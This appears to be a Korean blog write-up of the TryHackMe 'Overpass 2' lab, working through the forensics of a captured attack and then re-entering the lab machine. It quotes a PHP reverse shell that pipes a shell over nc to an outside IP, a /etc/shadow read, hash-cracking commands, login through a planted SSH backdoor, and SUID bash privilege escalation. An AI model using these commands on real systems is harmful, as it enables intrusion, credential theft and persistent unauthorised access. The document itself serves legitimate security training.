목적: 공격자가 특정 시스템에 침투하여 해당 시스템을 훼손한 기록이 남겨진 PCAP 파일을 분석하고, 분석하여 획득한 정보를 이용하여 대상 시스템에 Initial Access 및 권한 상승을 하는 것
PCAP 파일
https://drive.google.com/file/d/1M64JHLeswR70i5VJKMb7QvM2pqRZV2A1/view?usp=sharing
Q&A
Forensics
Q. What was the URL of the page they used to upload a reverse shell?
먼저 PCAP파일을 Wireshark를 통해 열람하도록 한다.
제일 처음에 나오는 TCP 프로토콜 관련 패킷에 대해 마우스 우클릭 -> Follow -> TCP Stream을 클릭하여, 해당 TCP 스트림에서 어떠한 패킷들을 주고받았는지 확인해본다.
그러면 아래 그림에서 보듯 /development/ 경로로 GET 요청을 보낸 것을 확인할 수 있다.
이후, tcp.stream eq 0에서 1로 바꾸어, 다음 TCP 스트림에서 어떠한 패킷들을 주고 받았는지 확인해본다.
그 결과, 바로 다음 TCP 스트림에서는 리버스 쉘 코드를 payload.php라는 파일로 업로드 한 것을 확인할 수 있다. 따라서 이전 GET Method의 경로인 /development/ 가 초기 공격자가 Initial Access를 하기 위해 사용한 페이지인 것을 알 수 있다.
Q. What payload did the attacker use to gain access?
공격자가 Initial Access를 확보하기 위해 사용한 페이로드는 위 그림에서 볼 수 있다. 즉 리버스 쉘 코드는 아래와 같다.
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
Q. What password did the attacker use to privesc?
tcp.stream eq 3을 통해 필터링하여, 4번째(0부터 시작하므로) TCP 스트림에 대해 확인해본다.
그러면 아래 그림에서 보듯, 공격자가 초기 접근을 확보한 후, james 사용자로 시스템 계정을 변경할 때 사용하는 비밀번호를 확인할 수 있다.
Q. How did the attacker establish persistence?
공격자는 아래 그림에서 보듯, github에서 ssh backdoor 설치를 위한 코드를 다운로드 받고 있는 것을 확인할 수 있다. 즉 공격자는 아래의 ssh backdoor 모듈을 통해 지속성을 구축하였다.
https://github.com/NinjaJc01/ssh-backdoor
GitHub - NinjaJc01/ssh-backdoor
Contribute to NinjaJc01/ssh-backdoor development by creating an account on GitHub.
github.com
Q. Using the fasttrack wordlist, how many of the system passwords were crackable?
아래 그림에서 보듯 공격자는 cat /etc/shadow 명령어를 통해 대상 시스템에 존재하는 계정 정보를 획득하려고 시도중인 것을 확인할 수 있다.
그리고 아래 그림에서 보듯, 현재 $6$로 시작하는 해시화된 비밀번호가 총 5개인 것을 확인할 수 있다.
비밀번호 해시 크랙에 앞서, 해당 해시화된 비밀번호 목록을 아래와 같이 저장한다.
이후, John The Ripper와 fasttrack wordlist를 이용하여 해당 비밀번호 해시의 크랙을 진행해본다. 그 결과, 총 4개의 비밀번호 해시에 대해서만 크랙이 가능한 것을 아래 그림을 통해 확인할 수 있다.
Research
Q. What's the default hash for the backdoor?
공격자가 github를 통해 다운로드 한 ssh backdoor 모듈을 다운로드 한 후, 그 중, main.go 파일의 내용을 확인해보면, backdoor의 기본 해시 값을 아래와 같이 확인이 가능하다.
Q. What's the hardcoded salt for the backdoor?
동일하게, main.go 파일의 내용을 살펴보면, 비밀번호를 검증하는데 쓰이는 verifyPass()라는 함수가 정의되어 있는데, 함수의 매개변수로 총 3가지의 매개변수를 입력받는데, 2번째 입력받는 매개변수는 salt에 대한 매개변수로, 아래 2번째 그림에서 보듯, verifyPass() 함수 사용시, 하드코딩된 salt 값을 전달하는 것을 확인할 수 있다.
Q. What was the hash that the attacker used?
아래 그림에서 보듯, 4번째 TCP 스트림(tcp.stream eq 3)에서 공격자가 백도어를 실행할 때 사용하는 해시값을 확인할 수 있다. 또한 해당 ssh 백도어는 2222번 포트를 통해 접근이 가능한 것을 확인할 수 있다(0.0.0.0:2222).
Q. Crack the hash using rockyou and a cracking tool of your choice. What's the password?
백도어 실행에 관여하는 main.go 파일을 보면, 현재 위 그림에서 공격자가 사용한 해시값에 적용된 해시 알고리즘은 아래 그림에서 보듯 sha512이며, 또한 해당값에 salt가 적용되어 있는 것을 확인할 수 있다.
hashcat을 통해 공격자가 사용한 ssh 백도어 비밀번호 해시값에 대해 크랙을 시도해본다. 크랙 시, $PASSWD:$SALT 형식으로 비밀번호 해시가 저장되어 있어야 하고, hashcat의 -m 옵션을 통해, 1710을 선택하여 솔트가 적용된 sha512 해시 알고리즘에 대한 크랙을 진행할 수 있도록 한다.
hashcat -m 1710 -a 0 -o craked.txt hash.txt /usr/share/wordlists/rockyou.txt
hashcat에 대한 더 자세한 사용법은 아래 hashcat wiki를 통해 확인할 수 있다.
https://hashcat.net/wiki/doku.php?id=hashcat
hashcat [hashcat wiki]
hashcat Description hashcat is the world’s fastest and most advanced password recovery tool. This version combines the previous CPU-based hashcat (now called hashcat-legacy) and GPU-based oclHashcat. Hashcat is released as open source software under the
hashcat.net
그러면, 아래 그림에서 보듯, 공격자가 ssh를 통한 백도어 실행 시 사용한 비밀번호가 november16인 것을 아래 그림을 통해 확인할 수 있다.
Attack
Q. The attacker defaced the website. What message did they leave as a heading?
먼저 Nmap을 통해 대상 시스템에 열린 포트들을 스캔해보면, 아래 그림에서 보듯, 22, 80, 2222번 포트가 열린 것을 확인할 수 있다. 2222번 포트는 위에서 확인하였듯이, 공격자가 ssh 백도어를 실행하기 위해 심어놓은 포트이다.
/etc/hosts 파일을 통해, 대상 시스템의 IP와 overpass2.thm라는 도메인을 맵핑한 후, 브라우저를 통해 80번 포트에 접속해보면, 아래 그림과 같은 웹페이지를 확인할 수 있으며, 또한 공격자가 훼손시켜 놓은 메시지 또한 확인할 수 있다.
Q. What's the user flag?
공격자가 심어놓은 ssh 백도어를 이용하여 대상 시스템에 접근을 시도한다. 명령어는 아래와 같고, 비밀번호는, 위 과정에서 크랙한 november16이다.
ssh james@<$IP> -p 2222 -oHostKeyAlgorithms=+ssh-rsa
대상 시스템에 접근에 성공한 후, /home/james 디렉토리 내에서 user flag를 확인할 수 있다.
Q. What's the root flag?
ls -al을 통해 현재 디렉토리 내의 숨겨진 파일을 포함해서 파일 목록을 나열하도록 해보면, 아래 그림에서 보듯, 공격자가 권한 상승 시에 사용한 SUID가 설정된 bash 쉘(.suid_bash)을 확인할 수 있다.
이를 이용하여, 권한 상승을 시도한다.
./.suid_bash -p
그러면 .suid_bash 파일의 소유자인 Root 사용자로 현재 쉘의 권한이 상승된 것을 아래 그림을 통해 확인할 수 있으며, Root 유저의 홈 디렉토리인 /root에서 root 플래그를 또한 확인할 수 있다.
'InfoSec Log > PenTesting' 카테고리의 다른 글
[PenTesting] Internal Writeup @TryHackMe (0) | 2025.01.12 |
---|---|
[PenTesting] Relevant Writeup @TryHackMe (1) | 2025.01.11 |
[PenTesting] Daily Bugle Writeup @TryHackMe (0) | 2025.01.09 |
[PenTesting] Skynet Writeup @TryHackMe (0) | 2025.01.07 |
[PenTesting] Game Zone Writeup @TryHackMe (1) | 2025.01.05 |